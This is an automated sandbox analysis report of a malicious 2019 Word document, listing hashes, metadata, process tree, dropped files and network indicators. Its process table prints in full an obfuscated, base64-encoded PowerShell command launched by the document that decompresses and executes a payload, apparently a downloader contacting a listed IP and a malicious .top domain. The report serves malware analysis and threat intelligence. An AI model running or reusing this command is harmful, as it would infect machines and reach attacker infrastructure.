File name: | info_17.07_1.doc |
Full analysis: | https://app.any.run/tasks/c759112b-02aa-457b-8c03-0471f9252d6b |
Verdict: | Malicious activity |
Analysis date: | July 18, 2019, 09:24:18 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/msword |
File info: | Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Title: wcdnmxysleu, Subject: xkccmwlalvicbbihyecxwp, Comments: mbmvywgnrvvkkr, Template: Normal, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Wed Apr 25 22:21:00 2018, Last Saved Time/Date: Tue Jul 16 21:40:00 2019, Number of Pages: 1, Number of Words: 0, Number of Characters: 1, Security: 0 |
MD5: | C8968317AD10A1FC98D062CFBCEA6F8E |
SHA1: | 89DA5589B3C9742FEB91B73C60BD8C0D82FC24DD |
SHA256: | FE460CE2CD43EA336BCDCEB9723724145AA24A00EF08A58560EC50C6ADB082C4 |
SSDEEP: | 1536:nGNUf7yyzqfC1MogKHUx5ytryXjttyonhYUx:GNUeyzMi0etryXhtNnhj |
.doc | | | Microsoft Word document (54.2) |
---|---|---|
.doc | | | Microsoft Word document (old ver.) (32.2) |
Title: | wcdnmxysleu |
---|---|
Subject: | xkccmwlalvicbbihyecxwp |
Author: | - |
Keywords: | - |
Comments: | mbmvywgnrvvkkr |
Template: | Normal |
LastModifiedBy: | - |
RevisionNumber: | 1 |
Software: | Microsoft Office Word |
TotalEditTime: | - |
CreateDate: | 2018:04:25 21:21:00 |
ModifyDate: | 2019:07:16 20:40:00 |
Pages: | 1 |
Words: | - |
Characters: | 1 |
Security: | None |
CodePage: | Windows Cyrillic |
Manager: | - |
Company: | - |
Bytes: | 22528 |
Lines: | 1 |
Paragraphs: | 1 |
CharCountWithSpaces: | 1 |
AppVersion: | 16 |
ScaleCrop: | No |
LinksUpToDate: | No |
SharedDoc: | No |
HyperlinksChanged: | No |
TitleOfParts: |
|
HeadingPairs: |
|
CompObjUserTypeLen: | 32 |
CompObjUserType: | Microsoft Word 97-2003 Document |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
3524 | "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\info_17.07_1.doc" | C:\Program Files\Microsoft Office\Office14\WINWORD.EXE | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft Word Version: 14.0.6024.1000 | ||||
3100 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Enc IAAoACAALgAoACcAbgBFAHcAJwArACcALQBPAEIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIAAgAFMAWQBTAFQAYABlAG0AYAAuAGkAbwBgAC4AQwBPAE0AUABSAGAARQBgAHMAUwBpAE8AYABOAC4AZABlAGYAbABBAFQAZQBgAFMAVABSAEUAQQBtACgAWwBzAHkAUwB0AGUAbQAuAEkATwAuAE0ARQBNAE8AcgBZAHMAdAByAGUAQQBtAF0AWwBzAFkAUwBUAGUATQAuAEMATwBOAFYAZQByAFQAXQA6ADoARgBSAG8ATQBCAGEAcwBlADYANABzAHQAcgBpAG4ARwAoACcAVABaAEIAUgBhADgASQB3AEYASQBYAGYAQgAvAHMAUABlAGUAaABJAGkAegBPAGwAegBxAEcAMgBsAEQARwBzAFMASgBtAHIAbwBnADQASAAyADgAQwAwAEoAbQAyADIAdABBAGwATgB0AEQAcgBwAGYAMQA4AEgANgB2AFoAeQA3ADgAcwA1ADkANQA3AHYARwBPAEUAaABsAFAAaABwAEEAWAB3AEEAWgA4ACsAVQBSAG4ASQBKAFAAZQBOAEYAVgBuAEsAMQA4AGcAMQBTADcATgB5AHQASQBxAFUAcwBCAFcAVwBjAHQATwBBADcAYgBCAGsAbgBSAHcAcwBpAHMAaQBlAE4AVwBIAFQAcAA0AEcAWABqAEkAeABNAFcAcwBBAFYASgAxAFIAYgBOAGkAagA5AEoAbwBxAEUARgBJAHIASgBlAHIAdABHAEsAeABPAHYAaABoAEoARgBvADYAUgBtADcANwBUAHkAWQBQAG4ANABQAGYAWgBoAHAATABWADMAYgBwAGcAbgBPAEQANQB3AFQARgBwAGMANABZAHoAbgBTAFEAdAByAHEAVQBBAG0AYgBwAGsASgBVAFMARwBiAHkAZwBmAHUAYgBmAGMASwB4AFUAaAAyAFUANwBqAGwARQBTAG4ASwBtAFQAWABnAEQATABZACsASwBrAHUAQQBrAE0ANAAxAHcASgB2AE4AdQB4AEYAYQBBAEYAZQBEAHkAeABEAHIAcQA4AG4AQQA4AFIAVQBTAEIAcQBDAEkAdQBjAEUAQgBEAFAAdgBvAHoAMwBJAEkAVAByACsAVwBGAEYASgBoAG0AQQB6AEkAbQB1AGgAMAAyAEYASgBvADAASQAyADgAdwB6AGcAcgBFAFIAOQBGAFkAWgA2AEMAZABFAHQAQQBaADkASABvAFcATwBMADQARgBEAEsAZQBGAFUASgBvAGwAQwBzADEASwBrAFIAQwBsAFAAbAB4ADMAcwBjAFIAegBiAFYANAB1AHgAMAAzAEsATAA2ACsAdQBFADYAeQBUADcARgBqAFgASABnAGgASAByACsAYQAvAFkATQBWAGsAaQBvAE8ARgBMAHMATQBpAE4AYwAvAE4ATwBQADEANwA1AEEAegB1AGsATgBOADEAVQBLAGYAYgB0ADEAUAAxADIAdwBhADAATABPAC8ANgA2AGcAYwA9ACcAKQAgACwAWwBzAFkAcwBUAGUAbQAuAGkAbwAuAGMATwBNAHAAUgBlAFMAcwBpAE8ATgAuAEMAbwBtAHAAcgBlAHMAcwBJAE8ATgBNAE8ARABFAF0AOgA6AEQARQBDAG8AbQBwAHIAZQBTAFMAIAApAHwAJgAoACcAZgAnACsAJwBvAHIAZQAnACsAJwBhAGMASAAnACkAewAgACYAKAAnAE4ARQBXAC0AbwBiACcAKwAnAEoAJwArACcARQBjAFQAJwApACAAIABpAGAAbwAuAGAAUwBgAFQAcgBlAGEAbQBSAEUAQQBEAEUAUgAoACQAXwAsAFsAcwB5AFMAVABlAG0ALgBUAEUAeABUAC4ARQBOAGMAbwBkAEkAbgBHAF0AOgA6AGEAcwBDAGkAaQApACAAfQB8AC4AKAAnAEYAbwByAEUAYQAnACsAJwBDACcAKwAnAEgAJwApAHsAJABfAC4AcgBlAGEAZAB0AG8AZQBuAGQAKAApACAAfQAgACkAIAB8AC4AKAAnAEkAJwArACcARQAnACAAKwAgACcAWAAnACkA | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WINWORD.EXE | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
3524 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\CVRD0AE.tmp.cvr | — | |
MD5:— | SHA256:— | |||
3100 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7RNIYHTMWY389Q7FIU98.temp | — | |
MD5:— | SHA256:— | |||
3524 | WINWORD.EXE | C:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotm | pgc | |
MD5:3BA5C4D66087FEFDCB834EF3CB84EAA8 | SHA256:94CFB690AF55A00669B4055DBE7AA77D5F8C13BB206D1104EE009CF7B3B20D59 | |||
3100 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB | SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95 | |||
3100 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF17dc17.TMP | binary | |
MD5:53C936F15BA0E898CA1BDCEB3AE9C5FB | SHA256:D7C26FC9FF2065D126D4339D2C20D865B8B2A8399AB7F0A1A3B06F7AD1A36C95 | |||
3524 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\VBE\MSForms.exd | tlb | |
MD5:255D3FC0CC86B76F5EEAC9980BE51227 | SHA256:18E8ADC013B6E5C7B9DFFFB01E0A7B88222C26FB6F8823591CA0DB59AC40A491 | |||
3524 | WINWORD.EXE | C:\Users\admin\AppData\Local\Temp\~$fo_17.07_1.doc | pgc | |
MD5:E49340A8351F1F1EB48B97E4AA0CBC46 | SHA256:F742C2EE39001E98DF89C3091E391E40A57260BB76823DC1E5BB42E7050DD84C |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
3100 | powershell.exe | GET | — | 185.193.141.248:80 | http://185.193.141.248/gs.php | RU | — | — | suspicious |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3100 | powershell.exe | 185.193.141.248:80 | — | IT Mir LLC | RU | suspicious |
Domain | IP | Reputation |
---|---|---|
fcamylleibrahim.top |
| malicious |
PID | Process | Class | Message |
---|---|---|---|
— | — | Potentially Bad Traffic | ET DNS Query to a *.top domain - Likely Hostile |